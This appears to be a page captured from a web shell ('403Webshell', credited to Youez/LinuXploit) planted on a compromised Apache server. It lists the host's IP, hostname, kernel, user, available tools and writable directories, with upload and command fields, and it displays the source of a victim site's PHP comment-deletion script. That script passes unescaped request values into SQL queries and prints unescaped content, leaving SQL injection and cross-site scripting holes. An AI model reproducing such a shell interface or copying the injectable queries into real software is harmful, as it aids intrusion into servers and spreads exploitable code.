403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/acct_comments_delete.php
<?php
include('config.php');
	if ($member_id == 0) {
		printf("<meta http-equiv=\"Refresh\" content=\"0;url=./join.php\">"); 
		die();
	}
dbConn();
/*
content_type // SECTION
------------
0=model
1=photographer
2=photoset
3=blog
*/

if (isset($_POST['post'])) {
$message = "Your comment has been deleted!";
$comment_id = $_POST['comment_id'];
$sql = @mysql_query("DELETE FROM cms_members_comments WHERE member_id = '".$member_id."' AND comment_id = '".$comment_id."'");
}
$section_header = "My Account : Comments Delete";
include('mod_html_top.php');

if (isset($message)) {
	echo $message;
} else {
	$get_comment = @mysql_query("SELECT comment FROM cms_members_comments WHERE member_id = '".$member_id."' AND comment_id = '".$id."'");
	$comment = @mysql_result($get_comment, 0, 'comment');
	$comment = str_replace("<br />", chr(10), $comment);
		if (@mysql_num_rows($get_comment) == 0) {
			echo "You are not authorized to delete this message!";
		} else {
			?>
			<div align="center">
			<span class="brown24px">Delete your comment!</span><br />
			<span class="brown18px">are you sure you want to delete this comment?</span><br />
			<br />
<?=stripslashes($comment)?><br /><br />
<form method="post" action="acct_comments_delete.php">
			<input type="hidden" name="comment_id" value="<?=$id?>" />
			<input type="submit" value="     delete comment     " name="post" style="width:170px;">
			</form>
			</div>
			<?
		}
}

include('mod_html_middle.php');

//include('mod_acct_sidemenu.php');
//include('mod_side_new_photosets.php');
//include('mod_side_rate_models.php');
//include('mod_side_rate_photosets.php');

include('mod_html_bottom.php');

?>

Youez - 2016 - github.com/yon3zu
LinuXploit